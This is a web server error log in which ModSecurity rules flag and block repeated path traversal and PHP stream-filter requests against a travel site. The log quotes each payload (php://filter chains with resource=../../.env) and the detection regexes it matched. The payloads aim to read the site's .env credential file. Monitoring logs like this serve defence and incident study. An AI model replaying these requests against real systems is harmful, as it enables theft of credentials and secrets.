[Fri Jul 17 08:55:11.297161 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&document=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&anything=6qZ6Ve1FcoE6ynMoW-uj1iApF7JevBS9nUIjM3Tfq5ZHEg6zAi8E9hPqyFNzOKDB2CjDZ0vTZyhDyAgwIx62AzTBYbxM9Et4Wm3X2ph9LSdNBi4l9CKm76aBsoJWLw58La5bmNXsPIGGOf-UULfchW_Mn1OoNFbAkvHo97pbgkqN4TyFwgGBvz0quPP6qhf4S4bgMtdRUqFfeYezgyb6SCkhZXWrc9bAdxTaTRd_tHfs1hD2a6S6sruH1TFHNQgSuf-YzSfUJsJO_MFXj1U6Dvl9&extra=P7B4DIPAWKTG5LZPFNGDYIC6FISRGLTNPSO..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLwAAAAc"]
[Fri Jul 17 08:55:11.297196 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLwAAAAc"]
[Fri Jul 17 08:55:11.297199 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&load=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&debug=5LkyjGY5qBXHJvyDXJp5m-rLjMvBqIsq5vMEZ3L26DK56RbV7a-VvZrDo8luCdxq2Gs6QyB5lfLugmKsZRY9zoPL7GjiT1TW8Gs118AJ-OZmnOhVptRzQgHRj_WX8sznKGUqkk6jncAqKKnXvOwU_LnpwzMppl1AY5VXrkRk4puekLiHzc0L5NGyBrUNUyQs2wo4W-nhNtjixgzlyrjwfWraA21yM-Qtf-82rbxazT7CC19UWR7I8Oszrxa2uaAH7cZ3V7-eYC_c5ifm4mMvwlzA&token=MUJKOXD2ZYGOPRWZ6CGAVS3NLCTPPE4MVKHE2OZ7AJGXDKTL..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sGgAAABQ"]
[Fri Jul 17 08:55:11.297235 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sGgAAABQ"]
[Fri Jul 17 08:55:11.297242 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&document=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env&anything=6qZ6Ve1FcoE6ynMoW-uj1iApF7JevBS9nUIjM3Tfq5ZHEg6zAi8E9hPqyFNzOKDB2CjDZ0vTZyhDyAgwIx62AzTBYbxM9Et4Wm3X2ph9LSdNBi4l9CKm76aBsoJWLw58La5bmNXsPIGGOf-UULfchW_Mn1OoNFbAkvHo97pbgkqN4TyFwgGBvz0quPP6qhf4S4bgMtdRUqFfeYezgyb6SCkhZXWrc9bAdxTaTRd_tHfs1hD2a6S6sruH1TFHNQgSuf-YzSfUJsJO_MFXj1U6Dvl9&extra=P7B4DIPAWKTG5LZPFNGDYIC6FISRGLTNPSOKDQYB5F5S6GJX4CCVBUP7Y6RDADX..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLwAAAAc"]
[Fri Jul 17 08:55:11.297282 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&document=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env&anything=6qz6ve1fcoe6ynmow-uj1iapf7jevbs9nuijm3tfq5zheg6zai8e9hpqyfnzokdb2cjdz0vtzyhdyagwix62aztbybxm9et4wm3x2ph9lsdnbi4l9ckm76absojwlw58la5bmnxspiggof-uulfchw_mn1oonfbakvho97pbgkqn4tyfwggbvz0qupp6qhf4s4bgmtdruqffeyezgyb6sckhzxwrc9badxtatrd_thfs1hd2a6s6sruh1tfhnqgsuf-yzsfujsjo_mfxj1u6dvl9&extra=p7b4dipawktg5lzpfngdyic6fisrgltnpsokdqyb5f5s6gjx4ccvbup7y6rdadx..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLwAAAAc"]
[Fri Jul 17 08:55:11.297298 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&load=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&debug=5LkyjGY5qBXHJvyDXJp5m-rLjMvBqIsq5vMEZ3L26DK56RbV7a-VvZrDo8luCdxq2Gs6QyB5lfLugmKsZRY9zoPL7GjiT1TW8Gs118AJ-OZmnOhVptRzQgHRj_WX8sznKGUqkk6jncAqKKnXvOwU_LnpwzMppl1AY5VXrkRk4puekLiHzc0L5NGyBrUNUyQs2wo4W-nhNtjixgzlyrjwfWraA21yM-Qtf-82rbxazT7CC19UWR7I8Oszrxa2uaAH7cZ3V7-eYC_c5ifm4mMvwlzA&token=MUJKOXD2ZYGOPRWZ6CGAVS3NLCTPPE4MVKHE2OZ7AJGXDKTLXLZGRU7XSL4VTWQSQORC5TRTTP..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sGgAAABQ"]
[Fri Jul 17 08:55:11.297311 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLwAAAAc"]
[Fri Jul 17 08:55:11.297327 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l95xAAAAAw"]
[Fri Jul 17 08:55:11.297332 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&load=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&debug=5lkyjgy5qbxhjvydxjp5m-rljmvbqisq5vmez3l26dk56rbv7a-vvzrdo8lucdxq2gs6qyb5lflugmkszry9zopl7gjit1tw8gs118aj-ozmnohvptrzqghrj_wx8sznkguqkk6jncaqkknxvowu_lnpwzmppl1ay5vxrkrk4pueklihzc0l5ngybrunuyqs2wo4w-nhntjixgzlyrjwfwraa21ym-qtf-82rbxazt7cc19uwr7i8oszrxa2uaah7cz3v7-eyc_c5ifm4mmvwlza&token=mujkoxd2zygoprwz6cgavs3nlctppe4mvkhe2oz7ajgxdktlxlzgru7xsl4vtwqsqorc5trttp..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sGgAAABQ"]
[Fri Jul 17 08:55:11.297341 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLwAAAAc"]
[Fri Jul 17 08:55:11.297359 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sGgAAABQ"]
[Fri Jul 17 08:55:11.297384 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sGgAAABQ"]
[Fri Jul 17 08:55:11.297709 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:document: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLwAAAAc"]
[Fri Jul 17 08:55:11.297732 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:load: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sGgAAABQ"]
[Fri Jul 17 08:55:11.298724 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLwAAAAc"]
[Fri Jul 17 08:55:11.298822 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.299139 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1h1WDijTxd1xw5MLwAAAAc"]
[Fri Jul 17 08:55:11.301959 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&document=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&extra=N8euBPh-CxkkGdANAoXuElluwx3rBL529OH-m-aIRfYZ_51KN4Sqslu2PTfglERNTvAxYXL0aRRn3hTJnMqW-pVoelbq0_cFVtAxPuj951mSEYIECx5tJv5fFvEogoDNfkA1jbJFD-yrYX3Eo3U-n9HBtJVJLtwSbs_aOLopCKL68mucVtgTn5qFk5Dv4qcdVTueuWMx6r_VV1R0EKvxxw6JllQxW_VZu694cGT5cGuZNKQKQ9Dzf-ID7CtzQ4RTdZnFWw_prFJ9OSifkux0GFCf&cb=GNAB7ERTXFSXZ2R2WYWXGI5SXCGY3YNJ2H5ZX655BDR3NNUIRX3DNIWC77FTV3Y..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8ggAAABA"]
[Fri Jul 17 08:55:11.302021 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8ggAAABA"]
[Fri Jul 17 08:55:11.302083 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&document=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&extra=N8euBPh-CxkkGdANAoXuElluwx3rBL529OH-m-aIRfYZ_51KN4Sqslu2PTfglERNTvAxYXL0aRRn3hTJnMqW-pVoelbq0_cFVtAxPuj951mSEYIECx5tJv5fFvEogoDNfkA1jbJFD-yrYX3Eo3U-n9HBtJVJLtwSbs_aOLopCKL68mucVtgTn5qFk5Dv4qcdVTueuWMx6r_VV1R0EKvxxw6JllQxW_VZu694cGT5cGuZNKQKQ9Dzf-ID7CtzQ4RTdZnFWw_prFJ9OSifkux0GFCf&cb=GNAB7ERTXFSXZ2R2WYWXGI5SXCGY3YNJ2H5ZX655BDR3NNUIRX3DNIWC77FTV3YHXYS7MDZLBWUH4PERWHXJ4ENY6..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8ggAAABA"]
[Fri Jul 17 08:55:11.302134 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&document=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&extra=n8eubph-cxkkgdanaoxuelluwx3rbl529oh-m-airfyz_51kn4sqslu2ptfglerntvaxyxl0arrn3htjnmqw-pvoelbq0_cfvtaxpuj951mseyiecx5tjv5ffveogodnfka1jbjfd-yryx3eo3u-n9hbtjvjltwsbs_aolopckl68mucvtgtn5qfk5dv4qcdvtueuwmx6r_vv1r0ekvxxw6jllqxw_vzu694cgt5cguznkqkq9dzf-id7ctzq4rtdznfww_prfj9osifkux0gfcf&cb=gnab7ertxfsxz2r2wywxgi5sxcgy3ynj2h5zx655bdr3nnuirx3dniwc77ftv3yhxys7mdzlbwuh4perwhxj4eny6..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8ggAAABA"]
[Fri Jul 17 08:55:11.302172 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8ggAAABA"]
[Fri Jul 17 08:55:11.302200 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8ggAAABA"]
[Fri Jul 17 08:55:11.302558 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:document: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8ggAAABA"]
